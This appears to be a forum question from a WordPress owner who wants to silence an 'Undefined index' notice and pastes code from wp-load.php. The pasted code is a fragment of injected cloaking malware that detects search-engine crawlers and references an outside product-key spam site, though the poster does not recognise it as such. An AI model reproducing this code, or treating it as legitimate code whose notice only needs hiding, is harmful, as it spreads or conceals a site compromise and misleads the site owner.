I am getting Error Notice Appearing on top of my Wordpress website with the following Statment:
Notice: Undefined Index: HTTP REFERER in Path/wp-load.php On Line 7
I have tried to hide the notice but it doesn't fix the issue.
The code in the mentioned line is below:
<?php
$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
$mysite = "http://mywebsite.com/";
$filename = "";
$fromsite = "https://productkeysdl.com/windows-10-product-key/";
if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false
|| strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false ||
strpos($tmp, 'bot') !== false) {
$ksite = !empty($_GET['key']) ? $_GET['key'] : "";
$list = array();
I expect that Undefined Index
notice disappear from the Home page of the website